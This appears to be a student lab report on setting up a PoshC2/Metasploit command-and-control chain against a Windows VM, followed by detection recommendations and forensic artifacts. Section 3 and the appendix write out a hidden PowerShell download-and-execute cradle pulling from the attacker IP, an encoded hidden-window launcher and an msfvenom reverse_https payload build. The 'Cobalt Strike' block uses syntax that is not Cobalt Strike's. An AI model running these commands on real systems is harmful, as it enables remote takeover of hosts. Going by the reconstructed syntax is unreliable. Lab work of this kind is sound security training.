# Task 1 — Advanced C2 Lab (Full Report)

Author: MALEPATI SAMSKAR REDDY

Date: September 19, 2025

Kali IP: 192.168.17.128

Windows VM IP: 192.168.17.129

---

## 1. Objective

Set up a Command & Control (C2) infrastructure in a controlled lab, generate and customize payloads, deliver them to the target, establish interactive sessions, and evaluate persistence and detectability.

## 2. Lab Environment & Tools

Environment:

- Attacker: Kali Linux — 192.168.17.128

- Target: Windows VM — 192.168.17.129 (Wazuh agent installed for detection)

Tools:

- PoshC2 (primary C2 framework used in provided screenshots)

- Cobalt Strike (mentioned as example; payload strategy mirrors Cobalt Strike beacons)

- Metasploit (for payload generation & handlers)

- PowerShell (stageless launcher execution on target)

## 3. Step-by-Step Methodology (with example commands)

The following commands are reconstructed from the observed artifacts and are typical of the workflow used to set up and run a C2 in a lab:

1. A. Start and configure PoshC2 server

* Example commands (PoshC2):

# Start PoshC2 server (interactive)  
git clone https://github.com/nettitude/PoshC2.git  
cd PoshC2/PoshC2  
python3 poshc2.py  
# In PoshC2 console:  
> server start  
> generate -p windows -t powershell -o /var/www/html/payloads/launcher.ps1

1. B. Configure HTTPS listener (Cobalt Strike style) — example:

# In Cobalt Strike listener config (example)  
set LHOST 192.168.17.128  
set LPORT 443  
set PAYLOAD windows/beacon\_https  
generate

1. C. Generate stageless PowerShell payload and other payload formats (EXE, HTA):

# Stageless PowerShell (poshc2 generated launcher)  
# Example: host a payload and use a one-liner to execute on target  
Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.17.128/payloads/launcher.ps1')  
  
# msfvenom example for exe payload (if using Metasploit)  
msfvenom -p windows/meterpreter/reverse\_https LHOST=192.168.17.128 LPORT=443 -f exe -o payload.exe -e x86/shikata\_ga\_nai -i 3

1. D. Deliver and execute payload on Windows VM (examples):

# Example delivery vectors in a lab:  
# 1) Social engineering / phishing link to launcher.ps1  
# 2) Lateral transfer and manual execution on target  
# 3) Exploit + drop and execute  
  
# Example PowerShell one-liner to execute staged/stageless payload:  
powershell.exe -NoP -NonI -W Hidden -EncodedCommand <BASE64\_PAYLOAD>

## 4. Observed Evidence ()

- Screenshot From 2025-09-09 00-37-37.png

- Screenshot From 2025-09-09 00-38-02.png

- Screenshot From 2025-09-17 22-55-50.png

- Screenshot From 2025-09-18 18-44-24.png

- Screenshot From 2025-09-18 18-44-31.png

- Screenshot From 2025-09-18 18-45-07.png

- Screenshot From 2025-09-18 19-01-33.png

- Screenshot From 2025-09-18 19-02-25.png

- Screenshot From 2025-09-18 19-14-04.png

## 5. Timeline of Events (reconstructed)

- T0: PoshC2 server installation and configuration completed on attacker (Kali).  
- T1: HTTPS listener created on 192.168.17.128:443.  
- T2: Multiple payloads generated (PowerShell launcher, EXE payloads) and placed on web host (/var/www/html/payloads/).  
- T3: Payload delivered to Windows VM (192.168.17.129) and executed via PowerShell in-memory (stageless execution).  
- T4: Beacon callback observed; session SID001 established and operator obtained interactive shell.  
- T5: Post-exploitation commands executed in-memory; persistence and recon activities performed.

## 6. Findings & Risk Assessment

- Active C2: A live beacon (HTTPS) successfully connected to the attacker and allowed remote command execution.

- Fileless execution: PowerShell-based stageless payloads executed in memory, reducing disk artifacts.

- Detection gaps: Without script block logging and EDR tuned to encoded commands, such activity can be missed.

- Risk Rating: High (operational compromise; remote control of host).

## 7. MITRE ATT&CK Mapping

- T1071.001 — Application Layer Protocol: Web Protocols (HTTPS beaconing)

- T1059.001 — Command and Scripting Interpreter: PowerShell (encoded, fileless execution)

- T1105 — Ingress Tool Transfer (payload hosting and download)

- T1086 — PowerShell (execution & automation)

## 8. Recommendations (technical & operational)

Technical controls:

- Enable PowerShell Script Block Logging and Module Logging (Windows Eventing).

- Enable and monitor AMSI (Antimalware Scan Interface) logs for script activity.

- Deploy EDR with behavioral detection for suspicious parent-child process chains and frequent outbound beacons.

- Implement TLS inspection / decrypt outbound HTTPS in a controlled manner to detect beacon payloads.

- Restrict PowerShell: use Constrained Language Mode for non-admins and apply application allowlisting for signed scripts.

Operational controls:

- Maintain an incident response playbook for C2 detection and containment.

- Monitor for periodic beacon patterns, unusual domains, or uncommon TLS fingerprints.

- Perform regular phishing exercises and harden remote code execution flows.

- Regularly audit admin accounts and service accounts to prevent lateral movement.

## 9. Suggested Forensic Artifacts to Collect

- Windows Event Logs: PowerShell operational and script block logs (Event IDs 4103/4104).

- Process creation logs (Sysmon) showing parent-child relationships.

- Network captures of outbound HTTPS to inspect beacon timing and SNI.

- PoshC2 and web server access logs from attacker host showing payload requests.

- Memory capture of the compromised host for in-memory artifact analysis.

## 10. 50-Word Summary

Configured a PoshC2 HTTPS listener on Kali and generated stageless PowerShell payloads hosted for delivery. The Windows VM executed the launcher in-memory, creating a beacon session (SID001) to 192.168.17.128; remote command execution and persistence were demonstrated. Recommend PowerShell logging, EDR tuning, and network egress monitoring.

## 11. Appendix: Reconstructed Commands & Examples

# PoshC2 (example)  
git clone https://github.com/nettitude/PoshC2.git  
cd PoshC2/PoshC2  
python3 poshc2.py  
# In poshc2 console:  
> server start  
> generate -p windows -t powershell -o /var/www/html/payloads/launcher.ps1  
  
# Example PowerShell one-liner to fetch and run launcher (dev lab only)  
powershell -NoP -NonI -W Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://192.168.17.128/payloads/launcher.ps1')"  
  
# msfvenom (if used)  
msfvenom -p windows/meterpreter/reverse\_https LHOST=192.168.17.128 LPORT=443 -f exe -o payload.exe -e x86/shikata\_ga\_nai -i 3